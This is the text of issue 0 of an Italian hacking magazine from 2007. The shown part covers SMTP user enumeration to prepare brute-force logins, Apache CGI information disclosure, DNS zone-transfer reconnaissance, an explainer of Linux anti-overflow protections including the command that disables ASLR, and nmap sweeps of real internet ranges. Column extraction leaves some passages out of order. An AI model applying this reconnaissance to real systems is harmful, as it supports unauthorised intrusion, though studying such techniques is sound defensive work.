Speciale Stack Overflow
Transcript
Speciale Stack Overflow
Security System Numero: 0 - Novembre 2007 www.segfault.it Speciale Stack Overflow SAOR: Attacco al TCP (0Day) Windows Filter driver: L’era dei Rootkit Racconti Underground: La vera storia dell’Unicode bug SOMMARIO Editoriale Tutti i numeri della sicurezza pag. 3 Quale è allo stato attuale la percezione della sicurezza informatica di vendor ed utenti? Cerchiamo di capirlo osservando cosa affermano recenti studi. Tips & tricks Lo sapevi che?... pag. 4 Lo sapevi che…alcuni server SMTP possono essere utilizzati per determinare da remoto gli utenti di sistema? Il processo di compilazione dei sorgenti di Apache installa di default nella cartella cgi-bin uno script di tutto interesse? Ancora oggi molti server DNS consentono il trasferimento “anonimo” del contenuto dei file di zona di un dominio? Focus on Kernel 2.6 e tecnologie Anti Overflow pag. 7 Vi siete mai chiesti perché le classiche tecniche di buffer overflow non funzionano più su Linux? Questo articolo mira a fornire le risposte giuste, un approfondimento utile che vi permetterà di distinguere le varie tecnologie di contrasto oggi esistenti e capire quando e dove sono attive. Look at Stack Overflow Vanilla: Il caso mod_jk pag.13 I forum online sono pieni di post scritti da gente che domanda continuamente “come si diventa hacker?”. Un hacker non può certamente essere reputato tale senza conoscere la tecnica hacking per antonomasia, lo Stack Overflow. Questo articolo però lo fa in modo un po' diverso dal solito: presentando un esempio di vulnerabilità reale e recente, exploit remoto incluso! Look at Bypassare Exec-Shield su Fedora e RedHat Linux pag.29 Exec-Shield viene considerato la bestia nera di molti hacker. Aldilà del continuo miglioramento di questa tecnologia, la ricerca, volta a trovare nuove tecniche per bypassarla, non è però assolutamente ferma e ve ne forniamo una dimostrazione. Look at SAOR: Attacco al TCP pag.38 Dieci anni fa attacchi come il Syn Flooding ed il Ping Of Death erano in grado di bloccare un server o un servizio anche se lanciati da una linea collegata ad un modem a 28,8 o 33,6 Kbps. Il perfezionamento nel tempo dello stack TCP/IP dei sistemi operativi e la diffusione di dispositivi e software per la protezione come i firewall, hanno infine favorito una sterzata verso altri tipi di attacchi. Tuttavia i DoS classici che richiedono poche risorse e poco sforzo per essere portati a termine non si sono del tutto estinti. L'articolo descrive una tecnica, per certi versi ancora inedita, che sfrutta una deficienza architetturale del TCP. Exploit dimostrativo completo incluso. Look at Filter Driver: Costruire rootkit a basso sforzo sfruttando il modello driver stratificato di Windows pag.46 I rootkit sono strumenti di datazione “immemore” nella storia della sicurezza informatica. La loro evoluzione da user a kernel land li sta giornalmente proiettando verso un maggiore livello di complessità ma allo stesso tempo rende queste componenti sempre più difficili da rintracciare. Ecco un argomento su cui nelle prossime uscite non mancheremo di proporre altri approfondimenti! Racconti dall’Underground La vera storia dell’ Unicode Bug pag.54 C'è chi si definisce hacker e chi lo è senza saperlo ma lo dimostra con le sue azioni. Quella di oggi è una storia dal passato, ancora di recentissima attualità, sull'etica hacking che va aldilà della comune giustificazione che tende alla ricerca dell'informazione continua e per fini personali. I tempi cambiano e conviene adeguarsi…ma bisogna farlo utilizzando la testa! Editoriale TUTTI I NUMERI DELLA SICUREZZA C ome descrivere nel primo numero di una rivista che tratta temi correlati al mondo della (in)sicurezza informatica quale dimensioni ha assunto oggi il fenomeno? Ce lo siamo chiesti in diverse circostanze durante i nostri summit su skype ed alla fine ci siamo risposti che per dipingere la situazione attuale era forse meglio (almeno per questa prima volta) evitare considerazioni personali, limitandoci unicamente a riportare i risultati statistici di alcuni recenti studi e lasciando al lettore il compito di interpretarli. Partiamo dai vendor, ovvero da chi dovrebbe proteggere i propri utenti. Stando ai dati divulgati dagli esperti di X-Force (la divisione security di IBM), il 12,6% delle vulnerabilità scoperte durante la prima metà del 2007 è riconducibile ad appena cinque compagnie, rispettivamente Microsoft (4,2%), Apple (3%), Oracle (2%), Cisco (1,9%) e Sun (1,5%), seguite da IBM (1,3%), Mozilla Corporation (1,3%), Xoops (1,2%) e BEA (1,1%). Significativo, anche se non riconducibile direttamente alla categoria dei vendor, come lo 0,9% di tutti i bug scoperti durante il periodo preso in esame dallo studio siano relativi al kernel Linux. Il 21% delle vulnerabilità attribuibili ai primi cinque vendor risultavano prive di patch nel momento in cui la ricerca era stata rilasciata (Agosto 2007), una percentuale superiore rispetto al 14% di un anno fa. In totale le vulnerabilità conosciute e rese pubbliche (quindi non 0day) durante la prima metà dell'anno in corso sono state 3273, il 3,3% in meno in confronto allo stesso periodo del 2006. Questo dato positivo viene però offuscato dalle statistiche relative alla loro pericolosità. Il 90% può infatti essere sfruttata da remoto e più della metà (esattamente il 51,6%) può fornire accesso ai dati del sistema vulnerabile. E dall'altra parte come rispondono gli utenti? Una ricerca pubblicata da McAfee alla fine di Settembre rivela che il 70% dichiara di utilizzare un programma antispyware ma solo il 55% ne fa in realtà uso. L'errore nasce nella stragrande maggioranza dei casi dalla convinzione che tutte le applicazioni antivirus integrino al loro interno una soluzione software di questo tipo. Il 94% degli utenti ha installato un antivirus ma il 48% utilizza una versione scaduta. Fra coloro che dispongono invece di una versione non scaduta, il 65% non scarica periodicamente gli aggiornamenti. E poi ancora altri numeri: l'81% degli utenti dichiara di avere un firewall installato. Di fatto solo il 64% lo tiene attivo. Il 78% non si protegge con più di un'applicazione di sicurezza. Emerge infatti che l'antivirus è nella maggior parte dei casi l'unica soluzione installata nei PC desktop. Pur questa mirabile presenza, il 54% degli utenti ha avuto di recente problemi di virus mentre il 44% è stato infetto da almeno una componente spyware. Il 98% fra coloro che si proteggono con più di un programma riconoscono l'importanza degli aggiornamenti. In realtà il 48% di questi utenti non effettua un update del suo sistema da almeno un mese. E quale è l'attuale trend degli attacchi informatici? 90 è la percentuale di crescita del loro numero stimata da SecureWorks (riscontro relativo al solo territorio statunitense) paragonando i risultati dello scorso quadrimestre (Maggio-Agosto 2007) con quelli del primo (Gennaio-Aprile 2007). 30 mila è invece il numero di siti web regolari che secondo Symantec vengono ogni giorno compromessi ed utilizzati come trampolino di lancio per nuovi attacchi o per la diffusione di malware vario. Security System Staff 3 TIPS & TRICKS SMTP Enumeration prompt dei comandi (ad esempio con ssh), questo trucco è ancora oggi parecchio sfruttato a beneficio dei nostalgici del finger[2] per lanciare attacchi di brute-forcing contro i servizi di autenticazione. Di solito questo genere di attacchi vengono infatti condotti utilizzando come base di partenza username casuali o notoriamente diffusi su Internet (root o www tanto per citare un paio di esempi) senza l'effettiva consapevolezza del loro status rispetto al target. Il vantaggio nel praticare SMTP Enumeration è quindi notevole se si considera che è possibile conoscere a priori quali account esistono nel sistema e possono potenzialmente essere violati (quelli cioè sul quale concentrare i maggiori sforzi). Migliaia di tentativi di accesso ad un account inesistente hanno infatti il solo scopo di far perdere tempo ed aumentare le probabilità di essere individuati. I n molte configurazioni standard di Linux il sottosistema di posta elettronica è strettamente vincolato al sistema operativo ed in particolare al sottosistema di autenticazione. Questo è ad esempio il caso di Sendmail[1] per il quale, di default, il file locale /etc/passwd funge da database degli account di posta elettronica. Tale comportamento permette di determinare quali utenti sono configurati in un server. Le operazioni da svolgere sono molto semplici. Una volta identificata un'installazione di Sendmail si stabilisce una comunicazione con il servizio: $ telnet 192.168.100.15 25 Trying 192.168.100.15... Connected to 192.168.100.15. Escape character is '^]'. 220 SS.local ESMTP Sendmail 8.12.3/8.12.3; Mon, 24 Sep 2007 13:19:23 +0300 (EEST) Non solo da Linux è possibile praticare SMTP Enumeration. In genere questa tecnica può essere utilizzata anche su server basati su piattaforma Windows o su servizi diversi da Sendmail per identificare caselle di posta elettronica attive (la parola spam dice nulla?). Alcuni anni fa questi task potevano essere svolti facilmente con i comandi SMTP EXPN e VRFY, oggi spesso disattivati in quanto Si “dialoga” con esso…. (lo si saluta con il comando HELO e si indica un mittente nullo con il comando MAIL FROM): HELO test 250 SS.local Hello [192.168.100.87], pleased to meet you MAIL FROM:<> 250 2.1.0 <>... Sender ok reputati banali vettori di Information Disclosure[3]. Per terminare la comunicazione con il server è sufficiente digitare da telnet il comando QUIT: ….e si comunicano al server i destinatari del falso messaggio. Dalle sua risposte sarà possibile determinare se gli account oggetto di probing esistono o meno: QUIT 221 SS.local closing connection RCPT TO:<root> 250 2.1.5 <root>... Recipient ok RCPT TO:<bin> 250 2.1.5 <bin>... Recipient ok RCPT TO:<kennedy> 550 5.1.1 <fjssdfg>... User unknown RCPT TO:<toor> 250 2.1.5 <toor>... Recipient ok [1] http://www.sendmail.org: Sendmail è il server SMTP di default in molte distribuzioni Linux che viene incluso anche in svariati release Unix come Solaris ed HP-UX. [2] Storico servizio Unix in ascolto sulla porta TCP 79 che fornisce informazioni sugli utenti di sistema (ora dell'ultimo accesso, tipo di shell, etc..). In passato veniva utilizzato proprio per individuare la presenza e le abitudini di un utente (ad esempio se accedeva spesso o solo periodicamente al sistema). Di solito gli account meno utilizzati erano anche quelli che subivano più tentativi di intrusione. Dall'output prodotto in questo caso si comprende facilmente che root, bin e toor sono utenti di sistema (Recipient OK), al contrario invece di kennedy (User unknown). Pur non essendo sufficiente per determinare se ogni account scoperto è attivo o può essere utilizzato per accedere da remoto ad un [3] Con questo termine si tende solitamente indicare una fuga di informazioni derivata dalla mal configurazione di un servizio o di un sistema che può consentire di determinare l'ambiente in cui il target risiede e perfezionare ai suoi danni un attacco su misura. 4 TIPS & TRICKS includono infatti di default questo script. Un altro tips interessante è quello di provare a visualizzare il contenuto della cartella /manual puntando il Un codice dimostrativo automatico per questo trucco può essere prelevato da http://www.segfault.it/SS/001/tricks/SMTPenum.tar.gz Apache Default CGI Information Disclosure b r o w s e r a l l a p a g i n a http://ipwebserver/manual. Di default le Non tutti sanno che quando si installa Apache[4] compilandolo dai sorgenti vengono collocati di default due script CGI di esempio nella cartella /cgi-bin. Uno di questi (printenv) fornisce una versioni del branch 1.3 e 2.0 collocano il manuale in linea del servizio in questa directory della DocumentRoot. Da lì è possibile determinare la versione del Web Server anche quando la direttiva ServerTokens nel file di configurazione httpd.conf è stata impostata a Product Only[5] o serie di informazioni interessanti sul sistema remoto che possono aiutare a determinare con maggiore semplicità e senza particolari sforzi, l'ambiente in cui il web server è eseguito ed alcuni elementi della sua configurazione. Semplicemente puntando il browser alla pagina http://www.nomesito.xxx/cgi- addirittura a Minimal[6]. Un codice dimostrativo che automatizza l'exploiting di questo trucco può essere prelevato da http://www.segfault.it/SS/001/tricks/printenvscan.tar.gz bin/printenv si possono ad esempio ottenere informazioni sul software di base installato: DNS AXFR Zone Transfer SERVER_SOFTWARE="Apache/1.3.31 (Unix) PHP/4.3.8 mod_perl/1.29 mod_ssl/2.8.18 OpenSSL/0.9.7d" Tutte le comuni implementazioni TCP/IP dei moderni sistemi operativi includono di default una utility le cui potenzialità di utilizzo vengono spesso sotto stimate. Stiamo parlando di nslookup. Lo strumento o ancora il percorso dove è localizzata la DocumentRoot: permette di indirizzare delle query verso un server DNS e visualizzare a video le risposte ottenute. Durante la fase di Information Gathering[7] di un penetration test, l'interrogazione di un server DNS è uno dei primi passi da compiere, addirittura prima di eventuali ping, telnet e traceroute (per le DOCUMENT_ROOT="/www/html" oltre alla configurazione locale della variabile d'ambiente PATH: PATH="/usr/local/sbin:/usr/sbin:/sbin:/usr /local/bin:/usr/bin:/bin:/usr/X11R6/bin:/u sr/games:/usr/local/mysql/bin:/www/bin:/op t/www/htdig/bin:/usr/share/texmf/bin" attività di probing manuali) o di nmap (nel caso di scansioni automatizzate). Supponendo che il target della propria analisi sia il dominio domain.it, nslookup può individuare i relativi server di posta Questi output possono essere utilizzati per determinare se il web server presenta del software di base vulnerabile (ad esempio un modulo buggato), localizzare con certezza il punto in cui le pagine web sono ospitate (utile per lanciare certi tipi di attacchi) oppure individuare la presenza di componenti di back-end (come ad esempio un database server), etc…La cgi printenv fornisce inoltre implicitamente nel seguente modo (la sintassi è comune sia per Windows che per Linux): [4] httpd.apache.org [5] Forza il web server a riportare nell'header HTTP “Server:” solamente la stringa “Apache”. [6] Forza il web server a non visualizzare nulla nell'header HTTP “Server:” rendendo vana l'esatta identificazione della versione del servizio con i classici metodi di scansione. l'evidenza che l'istanza di Apache in questione deriva da un'installazione praticata attraverso la compilazione dei sorgenti. I pacchetti precompilati ufficiali delle svariate distribuzioni Linux non [7] E' la fase che si antepone al vero e proprio attacco informatico. Consiste essenzialmente nella raccolta di quante più informazioni possibili sui sistemi ed i dispositivi che compongono la rete target. 5 TIPS & TRICKS IP allocata: nslookup -querytype=MX domain.it […] domain.it MX preference = 10, mail exchanger = mail2.domain.it domain.it MX preference = 5, mail exchanger = mail.domain.it Name: amministratore.domain.it Address: 192.168.101.35 Name: help-desk.domain.it Address: 192.168.101.31 Name: nav1.domain.it Address: 192.168.101.40 Name: nav2.domain.it Address: 192.168.101.41 Name: nav3.domain.it Address: 192.168.101.42 […] I server DNS che gestiscono domain.it possono invece essere individuati cambiando il tipo di query (non più MX ma NS): nslookup -querytype=NS domain.it […] domain.it nameserver = ns1.domain.it. domain.it nameserver = ns2.domain.it. § Individuare i sistemi di sicurezza interni ed esterni o le macchine che ospitano servizi di interesse (web, ftp, smtp, proxy, firewall, etc…) Name: proxy-fire.domain.it Address: jjj.jjj.jjj.jjj Name: proxy-fire.domain.it Address: 192.168.101.160 Name: gw_intero.domain.it Address: 192.168.101.160 Name: ftp.domain.it Address: xxx.xxx.xxx.xxx Name: web1.domain.it Address: yyy.yyy.yyy.yyy Name: web2.domain.it Address: zzz.zzz.zzz.zzz Name: gw_esterno.domain.it Address: kkk.kkk.kkk.kkk […] § Mappare la rete esterna I server di dominio del target possono a loro volta essere utilizzati per rifinire ulteriormente la fase di Information Gathering. Fra le richieste DNS più interessanti vi è ad esempio la query AXFR, responsabile del trasferimento del contenuto dei file di zona, caratteristica concepita dalla RFC 1034[8] al fine di agevolare la replicazione ed il backup delle configurazioni DNS. Comunemente dovrebbe essere buona norma consentire lo scambio di questi dati unicamente fra due nodi autenticati (il master e lo slave) o che condividono un meccanismo di trusting, ma moltissimi server di dominio in Internet rispondono anche a query AXFR inviate da client Name: client1.domain.it Address: xxx.xxx.xxx.xxx Name: client2.domain.it Address: yyy.yyy.yyy.yyy Name: sede_roma.domain.it Address: zzz.zzz.zzz.zzz anonimi (attenzione nslookup su Windows sembra non essere in grado di lanciare query AXFR ritornando di fatto il codice di errore Format Error[9]. Probabilmente ciò è dovuto al fatto che le query AXFR necessitano di essere lanciate su canale TCP mentre Windows utilizza sempre il protocollo UDP): L'output derivato dalle query AXFR può essere talvolta così completo da non rendere necessario l'utilizzo di strumenti di scansione come nmap[10], riducendo notevolmente il rischio di essere tracciati da sistemi di Intrusion Detection. nslookup -querytype=AXFR domain.it ns1.domain.it nslookup -querytype=AXFR domain.it ns2.domain.it [8] http://tools.ietf.org/html/rfc1034 L'output prodotto da questi comandi può essere molto interessante e vale la pena analizzarlo con attenzione. Da esso è possibile ad esempio: [9] da http://www.microsoft.com/resources/documentation/windows/xp/ all/proddocs/en-us/nslookup.mspx?mfr=true: “The DNS name server found that the request packet was not in the proper format. It may indicate an error in nslookup”. § Mappare la rete interna del target e la classe [10] http://www.insecure.org 6 focus on LINUX KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW Q uali sono oggi le probabilità di accedere da remoto ad un sistema Linux sfruttando un comune stack overflow? Negli ultimi anni le misure di sicurezza volte a contrastare questo genere di minaccia sono aumentate esponenzialmente nel tentativo di frenare il fenomeno della propagazione dei worm e ridurre le possibilità di un aggressore esterno di condurre con successo attacchi intrusivi. Reperire infatti exploit “one-shot” (compila, esegui ed ottieni una shell al primo colpo) soprattutto per il pinguino è diventato abbastanza arduo. Seppure esistano tecniche più o meno efficienti per aumentare le probabilità di successo di un attacco contro le tecnologie anti-overflow oggi esistenti, le possibilità di portarlo a termine in modo corretto si abbassano notevolmente quando più fra queste tecnologie vengono implementate a protezione di un sistema. Se è vero che “l'unione fa la forza” è proprio questo il concetto a cui molti vendor Linux si sono ispirati. Sono diverse infatti le distribuzioni (a parte ovviamente qualche rara eccezione) che applicano al kernel o alla librerie di sistema un mix di patch differenti per la sicurezza, allontanandolo così considerevolmente dalla sua originaria versione vanilla. In questo contesto sono quattro le tecnologie comunemente implementate che è importante conoscere. Diamo loro brevemente uno sguardo per comprendere quali barriere antepongono al corretto svolgimento di un attacco intrusivo. # cat /proc/2306/maps […] 08048000-08049000 r-xp 00000000 fd:00 621089 /usr/bin/server 08049000-0804a000 rw-p 00000000 fd:00 621089 /usr/bin/server […] bfd26000-bfd3b000 rw-p bfd26000 00:00 0 [stack] In questo esempio, ottenuto attraverso il filesystem /proc[1], è possibile osservare i permessi assegnati alle varie aree di memoria dell'applicazione “/usr/bin/server“. Come si può notare lo stack risulta essere solamente leggibile e scrivibile. Il contenuto al suo interno verrà quindi interpretato unicamente come dati. Il contenuto presente invece fra l'indirizzo 0x08048000 e 0x08049000 verrà interpretato dal processore come istruzioni eseguibili (notare i permessi r-xp). Nel nostro caso questa zona rappresenta il codice compilato del file binario e mappato in memoria. Poiché la funzionalità No-eXecute non è supportata da tutti i processori (in particolare è assente in modo nativo su piattaforma x86), alcuni sistemi operativi la emulano a livello software. Per Linux esistono diverse implementazioni. Le più famose sono PaX[2] ed Exec-Shield, quest'ultima sviluppata da Red Hat. No-eXecute E' una funzionalità supportata dai moderni processori AMD ed Intel che si riferisce in realtà all'ultimo bit (il bit 63) della tabella di paging, il cui scopo è quello di marcare le aree di memoria a seconda degli effettivi utilizzi. Ad esempio marcando lo stack e l'heap come non eseguibili, viene preclusa la possibilità di inserire in queste aree di memoria uno shellcode che possa essere richiamato alterando l'indirizzo di ritorno di una funzione o un puntatore generico. In questo modo la parte in cui sono contenuti i dati può essere separata dai segmenti che contengono invece istruzioni eseguibili dal processore: [1] cat /proc/pid/maps Per osservare come da sistema operativo Linux vengono marcate le aree di memoria di un'applicazione già in esecuzione è necessario determinare il pid del programma attraverso il comando ps o simile e visualizzare da filesystem /proc il file maps [2] http://www.grsecurity.net/ 7 focus on LINUX KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW Address Space Layout Randomization (ASLR) info>}0x4f6550 <system> […] E' una tecnica che permette di randomizzare lo spazio di indirizzamento virtuale di un programma. Ad ogni esecuzione di un'applicazione l'indirizzo base dello stack, dell'heap, delle librerie linkate e/o della stessa regione di memoria in cui il file eseguibile viene mappato, variano randomicamente. In questo modo diviene difficile predire con esattezza il punto in cui uno shellcode verrà collocato in memoria o l'indirizzo in cui si troveranno puntatori e/o funzioni di interesse, riducendo notevolmente l'efficacia sia delle classiche tecniche di buffer overflow che di quelle più avanzate (return-to-libc, VDSO return-tostack, etc…). Le aree di memoria interessate dalla randomizzazione variano a seconda della configurazione del sistema, delle patch del kernel applicate dalla distribuzione in uso e/o dalle opzioni di compilazione utilizzate. Si osservi il seguente esempio: […] (gdb) p $esp $1 = (void *) 0xbffdd21c (gdb) p system $2 = {<text variable, no debug info>}0x788550 <system> L'Address Space Layout Randomization è attivo di default sul kernel Linux a partire dalla versione 2.6.20 ma diverse distribuzioni la implementato da tempo. Ad esempio Red Hat ha sviluppato la propria tecnologia che fa parte di Exec-Shield. Anche PaX offre questo tipo di supporto. Comunemente ASLR può essere attivato/disattivato attraverso filesystem /proc[4] Stack Canary E' la tecnologia anti stack overflow su cui gli esperti ripongono maggiori speranze. Consiste nel generare, ad ogni esecuzione di un'applicazione, un valore (randomico o statico a seconda delle implementazioni e delle circostanze) definito canary. Il canary (Figura 1), in fase di costruzione dello stack frame di ogni funzione che utilizzi buffer più grandi di una certa dimensione (solitamente dai 4/8 byte in su), viene collocato subito dopo gli eventuali puntatori ed i buffer allocati ma prima del Frame Pointer (puntato dal registro EBP) e dell'indirizzo di ritorno della funzione (puntato dal registro EIP). Il canary viene poi controllato subito prima dell'invocazione dell'indirizzo di ritorno. Se il suo valore differisce dall'originario allora la causa è da imputare ad una condizione di overflow (Figura 2) che lo ha impropriamente sovrascritto e pertanto l'applicazione viene terminata con il segnale SIGABRT. # gdb ./server –q (gdb) break *main Breakpoint 1 at 0x8048604 (gdb) run Breakpoint 1, 0x08048604 in main () (gdb) p $esp $1 = (void *) 0xbfbe362c (gdb) p system $2 = {<text variable, no debug info>}0x1c8550 <system> (gdb) quit Appena dopo l'ingresso nella funzione main() dell'applicazione server, lo Stack Pointer punta all'indirizzo di memoria 0xbfbe362c mentre la funzione system() può essere raggiunta attraverso l'indirizzo 0x1c8550. Ma eseguendo più volte l'applicazione e ripetendo la sessione di debugging con gdb[3] questi indirizzi variano di continuo: [3] http://www.gnu.org/software/gdb/gdb.html [4] echo 0 > /proc/sys/kernel/randomize_va_space (gdb) p $esp $1 = (void *) 0xbfd9efec (gdb) p system $2 = {<text variable, no debug disattiva ASLR. echo 1 > /proc/sys/kernel/randomize_va_space attiva ASLR. 8 focus on LINUX KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW puntatore puntatore buffer canary frame pointer return address 4 byte 4 byte 256 byte 0xXXXXXXXX 4 byte 4 byte Figura 1: collocazione del canary nello stack frame di una funzione Attacker string AAA[...] puntatore puntatore buffer canary frame pointer return address 4 byte AAAA 4 byte AAAA 256 byte AAAAAAAAAAA[...] 4 byte 0xAAAAAAAA 4 byte 4 byte Figura 2: Un overflow sovrascrive puntatori, buffer e canary in memoria. __stack_chk_fail al ritorno della funzione di copia . del programma riprenda dal return address si accorgerà di questa situazione evitando che il flusso di esecuzione Si comporta in questo modo SSP (meglio noto come ProPolice) che attraverso una patch per GCC è implementato di default a partire dalla versione 4.1 del compilatore GNU. Altre implementazioni, come nel caso delle prime versione di StackGuard, possono comportarsi in modo diverso (ad esempio proteggendo solo l'indirizzo di ritorno di una funzione ma non il suo Frame Pointer). FORTIFY SOURCE FORTIFY_SOURCE è una nuova feature aggiunta in alcune distribuzioni sotto forma di patch al tree di sorgenti del GCC[6] che può essere utilizzata per rilevare e prevenire alcuni tipi di buffer overflow (stack, heap e format string) prima che si verifichino. void funzione(char *string) { char buf[20]; strcpy(buf, string); } In alcune distribuzioni Linux come Fedora, per attivare la protezione offerta da SSP, è necessario specificare esplicitamente l'opzione –fstack-protector quando si compila dai sorgenti. In altre invece (ad esempio nelle ultime edizioni di Ubuntu) questa è implicitamente attiva e per disattivarla è necessario specificare l'opzione –fno-stack-protector. Per Nell'esempio di codice sopra evidenziato, il compilatore conosce in anticipo la dimensione del buffer buf nello stack e può quindi prevenire che più di 20 byte di dati vengano copiati al suo interno. Questo tipo di controllo viene effettuato da apposite funzioni di check a seconda della funzione di copia utilizzata nel programma. Ad esempio nel caso appena mostrato un'analisi del binario rivelerà una o più chiamate a __strcpy_chk subito dopo conoscere se un'applicazione è stata compilata con la protezione SSP è possibile utilizzare lo strumento objdump[5] e verificare la presenza della funzione __stack_chk_fail: # objdump -d ./s | grep stack 0804859c <__stack_chk_fail@plt>: 8048977: e8 20 fc ff ff call 804859c <__stack_chk_fail@plt> l'invocazione di ciascuna strcpy(): # objdump -d server | grep strcpy […] 804865a: e8 a1 fe ff ff La funzione __stack_chk_fail si occupa di call 8048500 <__strcpy_chk@plt> verificare la congruità del canary ed è uno dei primi blocchi di codice da analizzare se si vuole comprendere il funzionamento di SSP sotto Linux. Le tecnologie Stack Canary non sono in grado di proteggere da condizioni di overflow che si verificano in altre regioni di memoria al di fuori dello Stack (ad esempio nell’ Heap). 80487a8: e8 53 fd ff ff call 8048500 <__strcpy_chk@plt> [5] http://directory.fsf.org/binutils.html - Lo strumento fa parte delle GNU binutils. E' incluso di default in tutte le principali distribuzioni. [6] http://directory.fsf.org/gcc.html - Compilatore GNU per i linguaggi C/C++/Java/Ada/Fortran. Costituisce la base degli strumenti di sviluppo di ogni distribuzione Linux. 9 focus on LINUX KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW FORTIFY_SOURCE aggiunge funzioni di check per la maggior parte delle funzioni preposte allo spostamento di dati da un'area di memoria all'altra che possono causare un buffer overflow come memcpy, memmove, memset, strcat, indicano i comparti territoriali a cui tali percentuali si riferiscono (Centro Europa, Cina e Stati Uniti). Lo schema evidenzia chiaramente un'alta percentuale di server Linux con kernel 2.4 ancora attivi. Tale circostanza è sorprendentemente più marcata negli Stati Uniti che in Cina, dove comunque la differenza a favore dei kernel 2.6 è appena dello 1,2% e dove i sistemi con kernel 2.2 rappresentano addirittura il 23,38% dell'intero campione sondato. Pur trattandosi di dati statistici ricavati a partire da un range limitato di host rispetto alla quantità di indirizzi IP disponibili ed allocati in internet, rimane però immutabile il fatto che in rete un'alta percentuale di server è ancora sprovvista di ogni sorta di protezione anti overflow, il che rende questi sistemi dei target particolarmente appetibili e senza dubbio più accessibili rispetto a quelli in cui tali tecnologie sono invece già presenti. Verrebbe dunque da asserire che l'avvento dei kernel 2.6 sta accompagnando le tecniche di hacking classico (quelle fatte cioè di buffer sovrascritti oltre le massime capacità di contenimento consentite, di puntatori deviati e di shellcode collocati in aree di memoria propizie) verso il tramonto. In realtà esistono ancora buoni margini di successo per hacker e worm-writer di scrivere exploit funzionanti, seppure le percentuali di fare breccia ai primi tentativi si siano sensibilmente ridotte con le nuove tecnologie anti overflow . strncat, strncpy, etc…, incluse quelle che permettono di indicare il formato della stringa (printf, fprintf, vfprintf, snprintf, sprintf, vsnprintf e vsprintf) Riepilugum meglium est In tabella 1 è riportato il riepilogo schematizzato delle funzionalità di sicurezza supportate di default dalle ultime distribuzioni Linux esistenti nel momento in cui si scrive. Debian e Slackware che tendono ad avvicinarsi il più possibile al kernel vanilla (ovvero privo di patch aggiuntive), risultano essere i sistemi meno complessi da violare, mentre tra i più problematici rientra senza dubbio Fedora. Alcune fra le tecnologie anti overflow introdotte nei paragrafi precedenti e le metodologie note per bypassarle verranno descritte in dettaglio già a partire da questo numero della rivista. E' la fine dell'hacking? I due articoli pratici che seguono nelle pagine successive hanno proprio lo scopo di far comprendere la differenza che intercorre tra violare un vecchio sistema con kernel 2.4 e violarne uno più moderno con kernel 2.6 e con le ultime funzionalità di sicurezza implementate. La maggior parte delle tecnologie anti overflow sviluppate in questi ultimi anni sono state integrate di default nelle moderne distribuzioni Linux solo a partire dal kernel 2.6. Ciò significa che tutti i sistemi con versioni inferiori ne sono potenzialmente sprovviste[7]. Se da un lato è possibile obiettare che tutte le principali distribuzioni desktop e server sono oramai passate al kernel 2.6, dall'altro è possibile affermare che in ambienti di produzione questo switch non è ancora avvenuto in modo completo e definitivo. Si osservi a tal proposito la tabella 2 sviluppata a partire da alcuni dati raccolti effettuando fingerprint[8] remoto su un campione di 1000 sistemi connessi ad Internet. La tabella consta di tre colonne che indicano la percentuale di kernel di tipo 2.2, 2.4 e 2.6 rilevata durante il probing e di altrettante righe che [7] PaX può essere applicato manualmente anche su svariate versioni del kernel branch 2.4 e 2.2. [8] si tratta di una tecnica che si avvale di richieste TCP, UDP e/o ICMP, definite probe, per identificare con approssimativa certezza il sistema operativo di un server e/o client connesso in rete. 10 focus on LINUX KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW COME SONO STATI GENERATI I DATI DELLA TABELLA 2 ? # nmap -sP -n 211.157.0-10.* Le statistiche della Tabella 2 sono state generate utilizzando due tecniche di fingerprint distinte basate principalmente su protocolli ICMP e TCP, rispettivamente implementate dagli strumenti xprobe2[9] ed nmap[10]. -oG IP_active_asia.txt Dove: -sP Perché due diversi strumenti? attiva la modalità Sweep Scan (ovvero procede con l'invio di un icmp echo request e di un pacchetto TCP ACK per determinare se la destinazione è online). La scelta di utilizzare due diversi strumenti è stata dettata dalla necessità di produrre risultati il più possibile consistenti e congruenti. Poiché il traffico ICMP viene solitamente filtrato dai firewall, si è scelto di affiancare alla scansione di xprobe2 quella di nmap, così da procedere con una più accurata identificazione del kernel dei sistemi testati. La tecnica del TCP Fingerprint implementata da Nmap è però molto dispendiosa in quanto necessità di almeno una porta aperta ed una chiusa per poter produrre risultati completi. Se una di queste condizioni non viene soddisfatta, il tool procede alla scansione automatica di tutte le porte TCP dell'host remoto. Laddove il traffico ICMP non fosse filtrato ed il risultato finale potesse essere reputato sufficientemente attendibile, si è preferito quindi lavorare esclusivamente con xprobe2 che fa uso di un numero di richieste più circoscritto e che pertanto consuma meno banda di rete, generando di conseguenza meno traffico e non urtando la sensibilità dei sistemi IDS. Solo per gli indirizzi IP per i quali non è stato possibile produrre alcun risultato congruo si è proceduto ad un'ulteriore verifica con nmap. -n disattiva la risoluzione DNS degli host. -oG stampa l'output nel file IP_active_asia.txt in un formato facilmente manipolabile con il comando grep (ovvero tutte le informazioni ricavate per ciascun indirizzo IP vengono memorizzate sulla stessa riga). 211.157.0-10.* rappresenta uno dei range IP scelto per il sondaggio (nell'esempio da 211.157.0.0 a 211.157.10.255). Dall'output generato con nmap è stata poi successivamente ricavata la lista degli indirizzi IP attivi, sgrondandolo delle informazioni inutili: # cut -d " " -f 2 IP_active_asia.txt | grep –v Nmap > asia_list1 La parte del comando prima del pipe (|) serve a stampare per ogni riga di testo presente nel file IP_active_asia.txt il contenuto della seconda colonna separato dal delimitatore spazio. L'altra parte del comando rimuove invece dall'output scritto nel file asia_list1 la stringa “Nmap”. Ciò è sufficiente per Come è stato selezionato il campione di IP per il test? generare una lista di IP attivi utilizzabile come input delle fasi successive. Il range di indirizzi IP da testare è stato determinato consultando l'attuale lista dei blocchi di assegnazione IPv4 dal sito dello IANA[11]. Per semplicità i blocchi contraddistinti dalla dicitura “Various Registries” Una volta determinati strumenti da utilizzare e campione da sondare, come è stato svolto il test? Per le scansioni con xprobe2 è stato utilizzato il seguente script bash: sono stati scartati. Il range limitato di IP costituente il campione sondato è stato invece selezionato a partire dai blocchi esclusivamente assegnati ad uno dei tre registri facenti capo all'area Europea, Asiatica e delle Americhe (rispettivamente RIPE, APNIC ed ARIN). Per ciascuno di questi tre comparti territoriali è stato effettuato uno Sweep Scan con Nmap per identificare gli host attivi nel range: #!/bin/sh IPS=`cat $1` for i in $IPS do xprobe2 $i -M 6 